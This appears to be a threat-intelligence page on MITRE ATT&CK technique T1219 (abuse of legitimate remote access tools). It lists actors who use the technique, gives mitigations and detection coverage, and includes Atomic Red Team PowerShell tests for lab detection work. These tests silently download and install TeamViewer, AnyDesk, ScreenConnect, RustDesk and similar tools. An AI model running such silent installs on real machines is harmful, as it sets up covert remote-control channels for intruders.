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ATT&CK Technique

Remote Access Tools

T1219 · command-and-control

An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions.

This software is commonly used for troubleshooting, software installation, and system management. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access. Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system.

It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system. Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).

LinuxmacOSWindows

Actors Using This

14
iranAgrius
north_koreaAndariel
unknown_likely_russia_alignedAnubis Ransomware
iranAPT33
iranAPT35
north_koreaAPT37
north_koreaAPT38
iranAPT39
chinaAPT40
unknown_likely_russia_aligned_eldorado_lineageBlackLock Ransomware
unknown_likely_russia_alignedBrain Cipher
unknown_likely_russia_aligned_alphv_lineageCicada3301
russia_speaking_organized_cybercrimeDarkSide / BlackMatter

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
reconnaissance earlier
resource-development earlier
credential-access earlier

Atomic Tests

15
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsTeamViewer Files Detected Test on Windows
An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
powershellelevatedwindowsAnyDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
powershellelevatedwindowsLogMeIn Files Detected Test on Windows
An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
powershellelevatedwindowsGoToAssist Files Detected Test on Windows
An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;
powershellelevatedwindowsScreenConnect Application Download and Install on Windows
An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect.
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"
msiexec /i $installer /qn
powershellelevatedwindowsAmmyy Admin Software Execution
An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammyy Admin will be executed.
Start-Process "#{Ammyy_Admin_Path}"
powershellelevatedwindowsRemotePC Software Execution
An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.
Start-Process "#{RemotePC_Path}"
powershellelevatedwindowsNetSupport - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.
Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"
powershellelevatedwindowsUltraViewer - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.
Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
powershellelevatedwindowsUltraVNC Execution
An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel. Upon successful execution, UltraVNC will be executed.
Start-Process #{UltraVNC_Viewer_Path}
powershellelevatedwindowsMSP360 Connect Execution
An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel. Upon successful execution, MSP360 Connect will be executed.
Start-Process #{MSP360_Connect_Path}
powershellwindowsRustDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. Download of RustDesk installer will be at the destination location when successfully executed.
$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Invoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
Start-Process -FilePath $file "/S"
powershellelevatedwindowsSplashtop Execution
An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel. Upon successful execution, Splashtop will be executed.
Start-Process "#{Splashtop_Path}"
powershellelevatedwindowsSplashtop Streamer Execution
An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed.
Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}"
powershellelevatedwindowsMicrosoft App Quick Assist Execution
An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine.
Start-Process "shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App"

Mitigations

5
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

M1034Limit Hardware Installation

Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices.

Disable USB Ports and Hardware Installation Policies
  • Use Group Policy Objects (GPO) to disable USB mass storage devices:.
  • Navigate to Computer Configuration > Administrative Templates > System > Removable Storage Access.
  • Deny write and read access to USB devices.
  • Whitelist approved devices using unique serial numbers via Windows Device Installation Policies.
Deploy Endpoint Protection and Device Control Solutions
  • Use tools like Microsoft Defender for Endpoint, Symantec Endpoint Protection, or Tanium to monitor and block unauthorized hardware.
  • Implement device control policies to allow specific hardware types (e.g., keyboards, mice) and block others.
Harden BIOS/UEFI and System Firmware
  • Set strong passwords for BIOS/UEFI access.
  • Enable Secure Boot to prevent rogue hardware components from loading unauthorized firmware.
Restrict Peripheral Devices and Drivers
  • Use Windows Device Manager Policies to block installation of unapproved drivers.
  • Monitor hardware installation attempts through endpoint monitoring tools.
Disable Bluetooth and Wireless Hardware
  • Use GPO or MDM tools to disable Bluetooth and Wi-Fi interfaces across systems.
  • Restrict hardware pairing to approved devices only.
Logging and Monitoring
  • Enable logging for hardware installation events in Windows Event Logs (Event ID 20001 for Device Setup Manager).
  • Use SIEM solutions (e.g., Splunk, Elastic Stack) to detect unauthorized hardware installation activities.
Tools for Implementation USB and Device Control
  • Microsoft Group Policy Objects (GPO)
  • Microsoft Defender for Endpoint.
  • Symantec Endpoint Protection.
McAfee Device Control Endpoint Monitoring
  • EDRs.
OSSEC (open-source host-based IDS) Hardware Whitelisting
  • BitLocker for external drives (Windows)
  • Windows Device Installation Policies.
Device Control BIOS/UEFI Security
  • Secure Boot (Windows/Linux) Firmware management tools like Dell Command Update or HP Sure Start.
M1037Filter Network Traffic

Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration.

Ingress Traffic Filtering
  • Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.
  • Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.
Egress Traffic Filtering
  • Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.
  • Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.
Protocol-Based Filtering
  • Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such as SMB, RPC, or Telnet, based on business needs.
  • Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.
Network Segmentation
  • Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.
  • Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.
Application Layer Filtering
  • Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.
  • Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.
M1038Execution Prevention

Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions.

Application Control
  • Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.
  • Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath "C:\Policies\AppLocker.
xml"`) Script Blocking
  • Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.
  • Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g.
, Set-ExecutionPolicy AllSigned) Executable Blocking
  • Use Case: Prevent execution of binaries from suspicious locations, such as %TEMP% or %APPDATA% directories.
  • Implementation: Block execution of .exe, .bat, or .ps1 files from user-writable directories.
Dynamic Analysis Prevention
  • Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.
  • Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.
M1042Disable or Remove Feature or Program

Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled.

Remove Legacy Software
  • Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).
  • Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.
Disable Unused Features
  • Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.
  • Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.
Control Applications Installed by Users
  • Use Case: Prevent users from installing unauthorized software via group policies or other management tools.
  • Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.
Remove Unnecessary Services
  • Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.
  • Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.
Restrict Add-ons and Plugins
  • Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.
  • Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.

Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 6
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) 206
Vuln scan (Nuclei) none

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